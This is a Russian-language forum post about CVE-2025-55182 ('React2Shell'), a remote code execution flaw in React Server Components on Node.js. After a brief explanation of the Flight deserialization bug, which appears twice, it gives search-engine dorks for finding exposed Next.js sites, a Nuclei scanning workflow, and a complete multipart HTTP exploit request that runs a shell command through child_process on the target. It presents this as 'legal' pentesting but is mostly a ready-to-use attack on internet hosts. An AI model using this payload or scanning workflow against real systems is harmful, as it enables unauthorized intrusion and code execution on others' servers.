[CVE-2025-55182] React2Shell
Добавлено: 09 мар 2026, 07:43
Давайте поговорим про критическую уязвимость в связке React + Node.js, расскажу что это за уязвимость, где искать уязвимые сайты, как эксплуатировать данную CVE в рамках "легального" пентеста.
Перед тем как что то атаковать надо понять как работает архитектура React в связке с Node.js
В современных приложениях React уже не только в браузере. С React Server Components часть React‑кода выполняется на сервере, внутри Node.js. Браузер больше не рендерит всё сам, он запрашивает данные у сервера. Сервер выполняет React‑компоненты и отправляет результат клиенту через специальный протокол Flight Protocol, т.е браузер просит, сервер запускает React‑код и возвращает данные, по которым интерфейс собирается на клиенте
Где появляется уязвимость
Чтобы это работало, сервер принимает данные Flight и десериализует их, то есть превращает обратно в структуру, с которой работает React, проблема в том, что сервер доверяет этим данным. В CVE‑2025‑55182 проверка этих данных недостаточная, мы как пентестеры можем отправить специально сформированный запрос Flight, который ломает ожидаемую структуру и влияет на то, как React‑компоненты выполняются на сервере. В итоге сервер начинает исполнять джаваскрипт, который мы ему подсунули
Перейдём к практике
Для поиска уязвимых сайтов, мы можем использовать любую поисковую систему по сервисам, Shodan, Censys, Fofa, ZoomEye - без разницы
В нашем примере я буду использовать Shodan.io
Скачиваем стопку айпи и доменов
Запускаем Nuclei ( https://github.com/projectdiscovery/nuclei )
В нашем случае будем использовать этот темплейт
https://github.com/shamo0/react2shell-P ... shell.yaml
Nuclei нашёл две потенциальные цели, давайте проверим их с помощью расширения в браузере RSC Detector (https://github.com/mrknow001/RSC_Detector)
Перейдём к эксплуатации уязвимости RCE
Будем использовать этот HTTP-запрос
Подтверждаем PoC
Перед тем как что то атаковать надо понять как работает архитектура React в связке с Node.js
В современных приложениях React уже не только в браузере. С React Server Components часть React‑кода выполняется на сервере, внутри Node.js. Браузер больше не рендерит всё сам, он запрашивает данные у сервера. Сервер выполняет React‑компоненты и отправляет результат клиенту через специальный протокол Flight Protocol, т.е браузер просит, сервер запускает React‑код и возвращает данные, по которым интерфейс собирается на клиенте
Где появляется уязвимость
Чтобы это работало, сервер принимает данные Flight и десериализует их, то есть превращает обратно в структуру, с которой работает React, проблема в том, что сервер доверяет этим данным. В CVE‑2025‑55182 проверка этих данных недостаточная, мы как пентестеры можем отправить специально сформированный запрос Flight, который ломает ожидаемую структуру и влияет на то, как React‑компоненты выполняются на сервере. В итоге сервер начинает исполнять джаваскрипт, который мы ему подсунули
Перейдём к практике
Для поиска уязвимых сайтов, мы можем использовать любую поисковую систему по сервисам, Shodan, Censys, Fofa, ZoomEye - без разницы
Код: Выделить всё
#Дорки для каждой поисковой системы
#Shodan
http.component:"next.js,react"
http.component:"Next.js"
#ZoomEye
http.body="react.production.min.js" || http.body="React.createElement(" || app="React Router" || app="React.js" vul.cve="CVE-2025-55182"
#FOFA
app="NEXT.JS" || app="React.js"В нашем примере я буду использовать Shodan.io
Скачиваем стопку айпи и доменов
Запускаем Nuclei ( https://github.com/projectdiscovery/nuclei )
В нашем случае будем использовать этот темплейт
https://github.com/shamo0/react2shell-P ... shell.yaml
Nuclei нашёл две потенциальные цели, давайте проверим их с помощью расширения в браузере RSC Detector (https://github.com/mrknow001/RSC_Detector)
Перейдём к эксплуатации уязвимости RCE
Будем использовать этот HTTP-запрос
Код: Выделить всё
POST / HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad